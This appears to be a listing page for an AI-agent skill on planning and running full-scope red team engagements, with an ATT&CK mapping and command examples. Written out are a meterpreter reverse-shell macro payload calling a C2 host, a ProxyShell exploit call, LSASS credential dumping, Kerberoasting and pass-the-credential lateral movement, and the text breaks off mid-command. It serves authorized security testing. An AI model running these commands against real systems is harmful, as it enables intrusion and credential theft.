abusing-dpapi-for-cred…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using…
Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a
$ npx -y skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-full-scope-red-team-engagement --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/conducting-full-scope-red-team-engagementContext preview
The summary Claude sees to decide when to auto-load this skill.
Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a
name: conducting-full-scope-red-team-engagement description: Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs. domain: cybersecurity subdomain: red-teaming tags: - red-team - adversary-emulation - mitre-attack - penetration-testing - offensive-security - purple-team - ttp-mapping version: '1.0' author: mahipal license: Apache-2.0 d3fend_techniques: - File Metadata Consistency Validation - Application Protocol Command Analysis - Identifier Analysis - Content Format Conversion - Message Analysis nist_csf: - ID.RA-01 - GV.OV-02 - DE.AE-07 mitre_attack: - T1566.001 - T1059.001 - T1078 - T1071.001
A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques | |---|---|---| | Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info | | Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware | | Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts | | Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File | | Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys | | Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass | | Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files | | Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting | | Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery | | Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash | | Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories | | Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol | | Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |
# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt
# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json
# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csvCommon initial access vectors for red team engagements:
**Spearphishing (T1566.001):**
# Generate payload with macro msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba # Set up GoPhish campaign # Configure SMTP profile, email template with pretexted lure, and landing page gophish --config config.json
**External Service Exploitation (T1190):**
# Scan for vulnerable services nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan # Exploit known CVE (example: ProxyShell CVE-2021-34473) python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
# Situational awareness (T1082, T1016) whoami /all systeminfo ipconfig /all net group "Domain Admins" /domain nltest /dclist:target.com # Credential harvesting from LSASS (T1003.001) # Using Havoc C2 built-in module dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords # Kerberoasting (T1558.003) Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt # Lateral movement via WMI (T1047) wmiexec.py domain/user:password@target-dc -c "whoami" # Lateral movement via PsExec (T1021.002) psexec.py domain/admin:password@fileserver.target.com
Define and pursue specific objectives:
1. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials 2. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records) 3. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution) 4. **Physical Access**: Badge cloning, tailgating, server room access
# DCSy
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0
Repo: mukul975/Anthropic-Cybersecurity-Skills
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using…
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or…
Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements…
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification…
Detect dangerous ACL misconfigurations in Active Directory using ldap3
Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection,…